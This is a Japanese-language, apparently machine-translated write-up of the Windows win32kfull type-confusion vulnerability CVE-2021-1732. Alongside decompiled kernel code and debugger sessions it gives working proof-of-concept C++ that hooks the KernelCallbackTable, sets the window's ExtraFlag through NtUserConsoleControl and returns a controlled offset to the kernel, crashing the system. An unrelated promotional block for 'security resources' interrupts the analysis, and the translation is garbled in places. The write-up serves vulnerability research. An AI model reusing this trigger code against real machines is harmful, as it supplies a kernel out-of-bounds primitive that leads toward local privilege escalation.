脆弱性の説明
カーネルモジュールwin32kfull.sysのwin32kfull!xxxClientAllocWindowClassExtraBytes関数にタイプの混乱の脆弱性があります。この脆弱性を使用して範囲外の読み取りと書き込みを行うと、ローカル特権の昇格を実現できます。
公式通知の影響を受けるWindowsのバージョン:
Windows10バージョン1803/1809/1909/2004/20h2
WindowsServerバージョン1909/20H2(Server Coreインストール)
32ビットシステム用のWindows10バージョン
Windows Server 2019
脆弱性分析
Windowsバージョンの分析:win10 20h2 19042.508
タイプの混乱の脆弱性はwin32kfull!xxxCreateWindowEx関数に存在します。関数の脆弱性ポイントの擬似コードは次のとおりです。
脆弱性はどのようにして発生しましたか?これは、ウィンドウの作成から開始する必要があります
[→すべてのリソースをフォローし、プライベートメッセージで「データ」に返信して←]
1。ネットワークセキュリティ学習ルート
2.電子書籍(ホワイトハット)
3。大手セキュリティ会社の内部ビデオ4、100
srcドキュメント5
、一般的なセキュリティインタビューの質問6
、ctfコンペティションの古典的なトピックの分析
7、ツールキットのフルセット
8、緊急時の対応に関するメモ
カスタムウィンドウを作成する前に、カスタムウィンドウクラスを登録する必要があります。ウィンドウクラスの構造は次のとおりです。
typedef struct tagWNDCLASSA {
UINT style;
WNDPROC lpfnWndProc;
int cbClsExtra;
int cbWndExtra;
HINSTANCE hInstance;
HICON hIcon;
HCURSOR hCursor;
HBRUSH hbrBackground;
LPCSTR lpszMenuName;
LPCSTR lpszClassName;
} WNDCLASSA, *PWNDCLASSA, *NPWNDCLASSA, *LPWNDCLASSA;
ウィンドウクラスの構造体のメンバーを入力すると、CreateWindow(EXA / W)を呼び出してウィンドウを作成できます。R0からR3までの全体的な実行プロセスは次のとおりです。
00 fffffe82`32d3f848 fffff467`52aa51a9 win32kfull!xxxCreateWindowEx
01 fffffe82`32d3f850 fffff467`5285519e win32kfull!NtUserCreateWindowEx+0x679
02 fffffe82`32d3f9f0 fffff802`36e058b5 win32k!NtUserCreateWindowEx+0xc2
03 fffffe82`32d3fa90 00007ffe`d86e1ec4 nt!KiSystemServiceCopyEnd+0x25
04 00000062`2ad9f7d8 00007ffe`d8ca7d8b win32u!NtUserCreateWindowEx+0x14
05 00000062`2ad9f7e0 00007ffe`d8ca7958 USER32!VerNtUserCreateWindowEx+0x20f
06 00000062`2ad9fb70 00007ffe`d8ca3c92 USER32!CreateWindowInternal+0x1a4
07 00000062`2ad9fcd0 00007ff7`9418144d USER32!CreateWindowExA+0x82
ウィンドウを作成するときに、脆弱性に存在する関数win32kfull!xxxCreateWindowExが最終的に入力されることがわかります。したがって、win32kfull!xxxCreateWindowExでwin32kfull!xxxClientAllocWindowClassExtraBytesを呼び出すにはどうすればよいですか(つまり、上の図の行:974に到達します)。 ?
tagWNDCLASSAクラスがcbWndExtraメンバー(ウィンドウインスタンスに割り当てられた追加バイト)を0以外に設定すると、win32kfull!xxxClientAllocWindowClassExtraBytes関数が呼び出され、問題はこの関数にあります。
v50はtagWND構造体ポインターです。tagWNDはwin7バージョンと比較してwin10バージョンでいくつかの変更があります。tagWND構造体の主要メンバーは次のとおりです(写真はRed Raindropチームからのものです)、( _ QWORD )(((( _QWORD *)v50 + 5)+ 0x128i64)は、次の図のpExtraBytesです。現在の通常の実行プロセスでは、win32kfull!xxxClientAllocWindowClassExtraBytesによって適用されたヒープアドレスが割り当てられます。これがヒープアドレスであることをどのように確認しますか?下記参照
関数win32kfull!xxxClientAllocWindowClassExtraBytesを逆コンパイルして、次の結果を取得します。
volatile void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length)
{
SIZE_T v1; // rdi
int v2; // ebx
__int64 *v3; // rcx
volatile void *v4; // rbx
__int64 CurrentProcessWow64Process; // rax
unsigned __int64 v7; // [rsp+30h] [rbp-38h] BYREF
volatile void *v8; // [rsp+38h] [rbp-30h]
char v9; // [rsp+70h] [rbp+8h] BYREF
char v10; // [rsp+78h] [rbp+10h] BYREF
int v11; // [rsp+80h] [rbp+18h] BYREF
int v12; // [rsp+88h] [rbp+20h] BYREF
v1 = (unsigned int)Length;
v7 = 0i64;
v11 = 0;
v8 = 0i64;
v12 = Length;
if ( gdwInAtomicOperation && (gdwExtraInstrumentations & 1) != 0 )
KeBugCheckEx(0x160u, gdwInAtomicOperation, 0i64, 0i64, 0i64);
ReleaseAndReacquirePerObjectLocks::ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);
LeaveEnterCritProperDisposition::LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);
EtwTraceBeginCallback(0x7Bi64);
v2 = KeUserModeCallback(0x7Bi64, &v12, 4i64, &v7, &v11);
EtwTraceEndCallback(0x7Bi64);
LeaveEnterCritProperDisposition::~LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);
ReleaseAndReacquirePerObjectLocks::~ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);
if ( v2 < 0 || v11 != 0x18 )
return 0i64;
v3 = (__int64 *)v7;
if ( v7 + 8 < v7 || v7 + 8 > MmUserProbeAddress )
v3 = (__int64 *)MmUserProbeAddress;
v8 = (volatile void *)*v3;
v4 = v8;
CurrentProcessWow64Process = PsGetCurrentProcessWow64Process();
ProbeForRead(v4, v1, CurrentProcessWow64Process != 0 ? 1 : 4);
return v4;
}
この関数はKeUserModeCallbackを呼び出してユーザーモードに戻り、コールバック関数を実行します。KeUserModeCallback関数のプロトタイプは次のとおりです。
NTSTATUS KeUserModeCallback (
IN ULONG ApiNumber,
IN PVOID InputBuffer,
IN ULONG InputLength,
OUT PVOID *OutputBuffer,
IN PULONG OutputLength
);
まず、API番号0x7bによると、コールバック関数はuser32!_xxxClientAllocWindowClassExtraBytesであると判断できます。
0: kd> dt ntdll!_PEB @$peb Ke*
+0x058 KernelCallbackTable : 0x00007fff`4e1e1070 Void
0: kd> u poi(0x00007fff`4e1e1070 + 7b * 8)
user32!_xxxClientAllocWindowClassExtraBytes:
00007fff`4e177840 4883ec48 sub rsp,48h
00007fff`4e177844 8364242800 and dword ptr [rsp+28h],0
00007fff`4e177849 488364243000 and qword ptr [rsp+30h],0
00007fff`4e17784f 448b01 mov r8d,dword ptr [rcx]
00007fff`4e177852 ba08000000 mov edx,8
00007fff`4e177857 488b0dd2b70800 mov rcx,qword ptr [user32!pUserHeap (00007fff`4e203030)]
00007fff`4e17785e 48ff154bb20600 call qword ptr [user32!_imp_RtlAllocateHeap (00007fff`4e1e2ab0)]
00007fff`4e177865 0f1f440000 nop dword ptr [rax+rax]
user32!_xxxClientAllocWindowClassExtraBytesを逆アセンブルすると、次の結果が得られます。
NTSTATUS __fastcall _xxxClientAllocWindowClassExtraBytes(unsigned int *a1)
{
PVOID Result; // [rsp+20h] [rbp-28h] BYREF
int v3; // [rsp+28h] [rbp-20h]
__int64 v4; // [rsp+30h] [rbp-18h]
v3 = 0;
v4 = 0i64;
Result = RtlAllocateHeap(pUserHeap, 8u, *a1);
return NtCallbackReturn(&Result, 0x18u, 0);
}
この関数は、RtlAllocateHeapを呼び出して、pUserHeapが指すユーザーヒープスペースから* a1(Length)バイトのスペースを適用し、NtCallbackReturnを介してヒープアドレスをカーネル状態に返します。NtCallbackReturn関数のプロトタイプは次のとおりです。
したがって、このような実行フローを取得できます
xxxClientAllocWindowClassExtraBytes > KeUserModeCallback > _xxxClientAllocWindowClassExtraBytes > NtCallbackReturn
上記はすべて通常の実行プロセスです。次に、脆弱性の生成プロセスについて説明します。
pExtraBytes(offset:0x128)はExtraFlag(offset:0xe8)フラグに関連しています:ExtraFlag&0x800 == 0の場合、pExtraBytesは上記のヒープアドレスであるメモリポインタを表します。ExtraFlag&0x800!= 0の場合、pExtraBytesはメモリオフセット
win32kfull!xxxClientAllocWindowClassExtraBytes関数が実行されるため、tagWNDのExtraFlagはチェックされません。したがって、悪意のある攻撃者はコールバック関数でtagWNDExtraFlag ExtraFlag | 0x800を作成できます。これにより、pExtraBytesはメモリオフセットを表し、メモリアドレスを表しなくなります。次に、pExtraBytesのオフセットを悪意を持って制御し、NtCallbackReturnを呼び出してオフセット値をカーネルに返します。これにより、範囲外の読み取りと書き込みが発生し、範囲外の読み取りと書き込み、読み取りと書き込みが発生します。プリミティブを取得でき、最終的にローカル特権の昇格につながります
脆弱性の検証
脆弱性検証の2つの重要なポイント:
- 脆弱性への道
- 脆弱性を引き起こす環境
脆弱性へのパス:tagWNDCLASSAのcbWndExtraを設定し、CreateWindowを呼び出してウィンドウを作成します
脆弱性を引き起こす環境:コールバック関数でtagWNDのExtraFlagを変更し、指定されたオフセット値を返します
POCライティング
POCを作成する前に、明確にする必要のあるいくつかの質問があります。
- CreateWindowの呼び出し中にウィンドウハンドルを取得する方法(関数は戻りません)
- tagWNDのExtraFlagを変更する方法
質問1:インターネットで公開されているいくつかの方法を参照した後、再利用の方法を選択しました。これは、プール注入後に制御割り当て用に指定されたサイズの穴を作成するのと似ています。簡単に言うと、特定の数のウィンドウを割り当て(ウィンドウクラスは同じ)、これらのウィンドウを破棄してから、脆弱性をトリガーするウィンドウを作成し(ウィンドウのpExtraBytesは特別な値です)、脆弱性を引き起こすウィンドウは、特定のウィンドウが破壊されたばかりのメモリ領域に割り当てられます。脆弱性をトリガーするウィンドウが占有された後、ウィンドウハンドルを取得するにはどうすればよいですか?最初に作成したウィンドウのハンドルを介して、ユーザーモードでtagWNDのメモリポインタをリークできることがわかりました。最初のアドレスにはウィンドウハンドルが格納され、オフセット0xc8にはpExtraBytesが格納されます。特殊な値を比較することで、検索できます。ユーザーモードtagWND脆弱性をトリガーしたウィンドウの最初のアドレス、最初のアドレスの値を読み取り、ウィンドウハンドルを取得します
質問2:偉大な神々は、win32kfull!xxxConsoleControl関数がtagWNDのExtraFlagを設定できることを発見しました。この関数を呼び出すユーザー・モードAPIはNtUserConsoleControlです。
__int64 __fastcall xxxConsoleControl(int a1, struct _CONSOLE_PROCESS_INFO *a2, int a3)
{
...
v16 = (_QWORD *)ValidateHwnd(*(_QWORD *)a2);// 获取tagWND的地址
v17 = (__int64)v16;
...
v18 = v16 + 5;// 获取pwnd的地址(真正的tagWND)
...
// 若ExtraFlag & 0x800 != 0
if ( (*(_DWORD *)(*v18 + 0xE8i64) & 0x800) != 0 )
{
v23 = (_DWORD *)(*(_QWORD *)(*(_QWORD *)(v17 + 0x18) + 0x80i64) + *(_QWORD *)(v22 + 0x128));
}
else
{
// 从桌面堆进行分配
v23 = (_DWORD *)DesktopAlloc(*(_QWORD *)(v17 + 0x18), *(unsigned int *)(v22 + 0xC8), 0i64);
...
if ( *(_QWORD *)(*v18 + 0x128i64) )
{
CurrentProcess = PsGetCurrentProcess();
v30 = *(_DWORD *)(*v18 + 0xC8i64);
v29 = *(const void **)(*v18 + 0x128i64);
memmove(v23, v29, v30);
if ( (*(_DWORD *)(CurrentProcess + 1124) & 0x40000008) == 0 )
xxxClientFreeWindowClassExtraBytes(v17, *(_QWORD *)(*(_QWORD *)(v17 + 40) + 0x128i64));
}
*(_QWORD *)(*v18 + 0x128i64) = (char *)v23 - *(_QWORD *)(*(_QWORD *)(v17 + 24) + 0x80i64);
}
if ( v23 )
{
*v23 = *((_DWORD *)a2 + 2);
v23[1] = *((_DWORD *)a2 + 3);
}
// 将ExtraFlag |= 0x800u
*(_DWORD *)(*v18 + 0xE8i64) |= 0x800u;
goto LABEL_33;
}
...
}
上記の問題が解決されたら、POCを楽しく作成できます。
- いくつかの主要な関数アドレスを取得する:HMValidateHandle関数は、ウィンドウハンドルに従ってユーザーモードtagWNDのアドレスを取得できます。これはエクスポート関数ではありませんが、IsMenu関数が配置されているメモリ領域で検索できます。NtCallbackReturn関数上記のように、結果をカーネルに返すことができます。
VOID InitFunction()
{
HMODULE hNtdll = LoadLibraryA("ntdll.dll"), hWin = LoadLibraryA("win32u.dll"), hUser = LoadLibraryA("user32.dll");
if (!hNtdll || !hWin || !hUser)
{
ErrorOutput("[-] Failed to load the ntdll.dll, win32u.dll, user32.dll\n");
}
global::NtCallbackReturn = (pNtCallbackReturn)GetProcAddress(hNtdll, "NtCallbackReturn");
global::NtUserConsoleControl = (pNtUserConsoleControl)GetProcAddress(hWin, "NtUserConsoleControl");
if (!global::NtCallbackReturn || !global::NtUserConsoleControl)
{
ErrorOutput("[-] Failed to get NtCallbackReturn, NtUserConsoleControl\n");
}
PBYTE isMenu = (PBYTE)GetProcAddress(hUser, "IsMenu");
if (!isMenu)
{
ErrorOutput("[-] Failed to get NtCallbackReturn, NtUserConsoleControl\n");
}
while (*isMenu++ != 0xe8);
global::HMValidateHandle = (pHMValidateHandle)(isMenu + 4 + (*(PLONG32)isMenu));
if (!global::HMValidateHandle)
{
ErrorOutput("[-] Failed to get HMValidateHandle\n");
}
}
- VirtualProtect関数を呼び出して、コールバック関数テーブルが配置されているメモリページのプロパティを変更し、対応するコールバック関数をカスタムコールバック関数に置き換えます。__readgsqword(0x60)は、現在のプロセスのPEB構造アドレスとPEB構造を取得します。オフセット0x58はKernelCallbackTable(コールバック関数サーフェス)です
3: kd> dt ntdll!_PEB KernelCallbackTable
+0x058 KernelCallbackTable : Ptr64 Void
VOID HookCallBack()
{
ULONG64 KernelCallbackTable = *(PULONG64)(__readgsqword(0x60) + 0x58);
if (!KernelCallbackTable)
{
printf("[-] Failed to get kernel callback table\n");
exit(1);
}
DWORD oldProtect = 0;
ULONG64 target = KernelCallbackTable + (0x7B * 8);
VirtualProtect((LPVOID)target, 0x100, PAGE_EXECUTE_READWRITE, &oldProtect);
global::orginCallBack = (pCallBack)(*(PULONG64)target);
*(PULONG64)target = (ULONG64)FakeCallBack;
VirtualProtect((LPVOID)target, 0x100, oldProtect, &oldProtect);
}
- カスタムコールバック関数:NtCallbackReturnは、指定されたオフセットをカーネルに返すために使用されます。呼び出しメソッドは、_xxxClientAllocWindowClassExtraBytesをモデルにしています。NtUserConsoleControlの呼び出しパラメーターは少し特殊です。カーネルがxxxConsoleControlを呼び出す前に、NtUserConsoleControlが呼び出されます。チェック、つまり、1つのパラメーターは6を超えることはできず、3番目のパラメーターは0x18を超えることはできません。
そして、xxxConsoleControlにチェックの一部があり、最終的に最初のパラメーターが6で、最後のパラメーターが0x10であると決定されます。
VOID FakeCallBack(PULONG32 para)
{
if (*para == global::magicNum && global::flag)
{
printf("[+] Enter the fake callback\n");
HWND target = NULL;
for (ULONG32 idx = 2; idx < 20; ++idx)
{
if (*(PULONG64)(global::pWnds[idx] + 0xc8) == global::magicNum)
{
target = (HWND) * (PULONG64)global::pWnds[idx];
printf("[+] Find the target wnd handle: 0x%I64x\n", (ULONG64)target);
printf("[+] Find the target wnd address: 0x%I64x\n", (ULONG64)global::pWnds[idx]);
break;
}
}
// set flag
ULONG64 buffer1[2] = { (ULONG64)target, 0 };
global::NtUserConsoleControl(6, buffer1, 0x10);
// set offset
ULONG64 buffer2[3] = { 0x1234, 0, 0 };
global::NtCallbackReturn(buffer2, 0x18, 0);
}
return global::orginCallBack(para);
}
1.1。ウィンドウの作成と破棄:最初に20個の通常のウィンドウを作成し、HMValidateHandleを使用してウィンドウアドレスをリークし、次にウィンドウ2から19を解放し(すべてを解放できます)、脆弱性をトリガーするウィンドウを作成し、最後に脆弱性をトリガーします。BSODをトリガーできます
int main()
{
InitFunction();
HookCallBack();
HINSTANCE hInstance = GetModuleHandleA(NULL);
WNDCLASSA wc{ 0 };
wc.lpfnWndProc = WindowProc;
wc.hInstance = hInstance;
wc.lpszClassName = "Normal";
wc.cbWndExtra = 0x10;
ATOM normalClass = RegisterClassA(&wc);
if (!normalClass)
{
ErrorOutput("[-] Failed to register normal class\n");
}
wc.lpszClassName = "Magic";
wc.cbWndExtra = global::magicNum;
ATOM magicClass = RegisterClassA(&wc);
if (!magicClass)
{
ErrorOutput("[-] Failed to register magic class\n");
}
for (ULONG32 idx = 0; idx < 20; ++idx)
{
global::hWnds[idx] = CreateWindowExA(0x8000000, "Normal", "NormalWnd", 0x8000000, 0, 0, 0, 0, 0, 0, hInstance, NULL);
if (!global::hWnds[idx])
{
ErrorOutput("[-] Failed to create normal window\n");
}
global::pWnds[idx] = global::HMValidateHandle((HMENU)global::hWnds[idx], 1);
}
for (ULONG32 idx = 2; idx < 20; ++idx)
{
if (global::hWnds[idx])
{
DestroyWindow(global::hWnds[idx]);
}
}
global::flag = TRUE;
HWND hMagic = CreateWindowExA(0x8000000, "Magic", "MagicWnd", 0x8000000, 0, 0, 0, 0, 0, 0, hInstance, NULL);
if (!hMagic)
{
ErrorOutput("[-] Failed to create magic window\n");
}
DestroyWindow(hMagic);
return 0;
}
POCデバッグ
コールバック関数にブレークポイントを設定し、コマンドラインに出力されたポインターに従ってメモリをチェックします。最初のアドレスに格納されているハンドルを確認できます。オフセット0xc8は特別な値0xabcdです。
2: kd> dq 27dab7814c0 l20
0000027d`ab7814c0 00000000`00020350 00000000`000314c0
0000027d`ab7814d0 00000000`00000000 08000000`08000000
0000027d`ab7814e0 00007ff6`13040000 00000000`00000000
0000027d`ab7814f0 00000000`000012b0 00000000`00000000
0000027d`ab781500 00000000`00000000 00000000`00000000
0000027d`ab781510 00000000`00000000 00000000`00000000
0000027d`ab781520 00000000`00000000 00000000`00000000
0000027d`ab781530 00000000`00000000 00007ff6`130410a0
0000027d`ab781540 00000000`0000f160 00000000`00000000
0000027d`ab781550 00000000`00000000 00000000`00000000
0000027d`ab781560 00000000`00000000 00000000`00000000
0000027d`ab781570 00000000`00000000 00000000`00000000
0000027d`ab781580 00000000`00000000 00000000`0000abcd
0000027d`ab781590 00000000`00020221 00000000`00000000
0000027d`ab7815a0 00000000`00000000 00000001`00000000
0000027d`ab7815b0 00000000`00000000 00000000`00000000
2: kd> ? 0000027d`ab781588-0000027d`ab7814c0
Evaluate expression: 200 = 00000000`000000c8
カーネル内のxxxConsoleControl関数をトレースし、カーネル内のウィンドウ構造を確認します。関数が実行されていない場合、フラグExtraFlagは設定されていません。実行されると、フラグExtraFlagが設定されます。
2: kd> dq ffff8a5905879150 l10
ffff8a59`05879150 00000000`00020350 00000000`00000001
ffff8a59`05879160 ffff8a59`02ee48a0 ffff8f01`0b551de0
ffff8a59`05879170 ffff8a59`05879150 ffff8a59`012314c0
ffff8a59`05879180 00000000`000314c0 00000000`00000000
ffff8a59`05879190 00000000`00000000 00000000`00000000
ffff8a59`058791a0 00000000`00000000 00000000`00000000
ffff8a59`058791b0 00000000`00000000 ffff8a59`00830a80
ffff8a59`058791c0 00000000`00000000 00000000`00000000
2: kd> dq poi(@rax+28)
ffff8a59`012314c0 00000000`00020350 00000000`000314c0
ffff8a59`012314d0 00000000`00000000 08000000`08000000
ffff8a59`012314e0 00007ff6`13040000 00000000`00000000
ffff8a59`012314f0 00000000`000012b0 00000000`00000000
ffff8a59`01231500 00000000`00000000 00000000`00000000
ffff8a59`01231510 00000000`00000000 00000000`00000000
ffff8a59`01231520 00000000`00000000 00000000`00000000
ffff8a59`01231530 00000000`00000000 00007ff6`130410a0
2: kd> ? poi(poi(@rax+28) + e8)
Evaluate expression: 4294967296 = 00000001`00000000
2: kd> g
Break instruction exception - code 80000003 (first chance)
0033:00007fff`f6820192 cc int 3
1: kd> dq ffff8a59`012314c0+e8 L1
ffff8a59`012315a8 00000001`00100818
1: kd> ? 00000001`00100818 & 0x800
Evaluate expression: 2048 = 00000000`00000800
xxxCreateWindowExでwin32kfull!xxxClientAllocWindowClassExtraBytes関数を呼び出す次の命令の下のブレークポイント
3: kd> ba e1 ffff8348`7883ce09
3: kd> g
Breakpoint 0 hit
win32kfull!xxxCreateWindowEx+0x1259:
ffff8348`7883ce09 488bc8 mov rcx,rax
3: kd> r rax
rax=0000000000001234
このxxxCreateWindowEx関数を実行した後、pocでDestroyWindowを実行し続けると、ブルースクリーンがトリガーされます
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=00000000000c2000 rbx=0000000000000000 rcx=00000000000c2000
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80557e61cf1 rsp=fffff080407c6740 rbp=ffff8a5901200040
r8=ffff8a590113f000 r9=00000000014b92ca r10=ffff8a5901201234
r11=014b92ca3db812e6 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na po nc
nt!RtlpHpVsContextFree+0x41:
fffff805`57e61cf1 410fb74822 movzx ecx,word ptr [r8+22h] ds:ffff8a59`0113f022=????
Resetting default scope
STACK_TEXT:
fffff080`407c5b68 fffff805`580c7422 : ffff8a59`0113f022 00000000`00000003 fffff080`407c5cd0 fffff805`57f3bb20 : nt!DbgBreakPointWithStatus
fffff080`407c5b70 fffff805`580c6b12 : fffff805`00000003 fffff080`407c5cd0 fffff805`57ff3960 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
fffff080`407c5bd0 fffff805`57fdf327 : fffff805`582844f8 fffff805`580f0fb5 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0x952
fffff080`407c62d0 fffff805`58001663 : 00000000`00000050 ffff8a59`0113f022 00000000`00000000 fffff080`407c65b0 : nt!KeBugCheckEx+0x107
fffff080`407c6310 fffff805`57e90edf : fffff080`407f1000 00000000`00000000 00000000`00000000 ffff8a59`0113f022 : nt!MiSystemFault+0x1d6933
fffff080`407c6410 fffff805`57fed320 : 00000000`00000000 fffff805`57e84817 00000000`00000001 00000000`00000000 : nt!MmAccessFault+0x34f
fffff080`407c65b0 fffff805`57e61cf1 : ffffa10d`a650ec60 fffff805`5905208d 00000000`00000350 ffff8f01`0e353080 : nt!KiPageFault+0x360
fffff080`407c6740 fffff805`57f0b7fa : 00000000`00000008 fffff080`407c6840 00000000`00000008 00000000`00000003 : nt!RtlpHpVsContextFree+0x41
fffff080`407c67e0 fffff805`57f0b77c : ffff8a59`01200000 00000000`00000000 ffff8a59`01201234 00000000`000002a0 : nt!RtlpFreeHeapInternal+0x5a
fffff080`407c6860 ffff8a2a`1d249973 : 00000000`00001234 00000000`00000000 00000000`00000000 ffff8a59`05879150 : nt!RtlFreeHeap+0x3c
fffff080`407c68a0 ffff8a2a`1d2463be : ffff8a59`00693920 00000000`08000100 ffff8a59`02ee48a0 ffff8a59`05879150 : win32kfull!xxxFreeWindow+0x4bf
fffff080`407c69d0 ffff8a2a`1d319e3a : 00007ff6`13043474 00000000`00000000 00007ff6`13040000 00000000`00000020 : win32kfull!xxxDestroyWindow+0x3ae
fffff080`407c6ad0 fffff805`57ff0b18 : 0000027d`40000600 0000000a`00000000 ffffffff`ffe17b80 ffff8f01`0d3e6be0 : win32kfull!NtUserDestroyWindow+0x3a
fffff080`407c6b00 00007fff`f5cb23e4 : 00007ff6`1304151d 00000000`00000098 00000000`00000000 00007ff6`00000000 : nt!KiSystemServiceCopyEnd+0x28
000000d5`26dffd28 00007ff6`1304151d : 00000000`00000098 00000000`00000000 00007ff6`00000000 00000000`00000000 : win32u!NtUserDestroyWindow+0x14
000000d5`26dffd30 00000000`00000098 : 00000000`00000000 00007ff6`00000000 00000000`00000000 00000000`00000000 : poc!main+0x33d [D:\SelfLearn\C++Project\Exploit\Exploit\2021-1732-EXP.cpp @ 170]
000000d5`26dffd38 00000000`00000000 : 00007ff6`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x98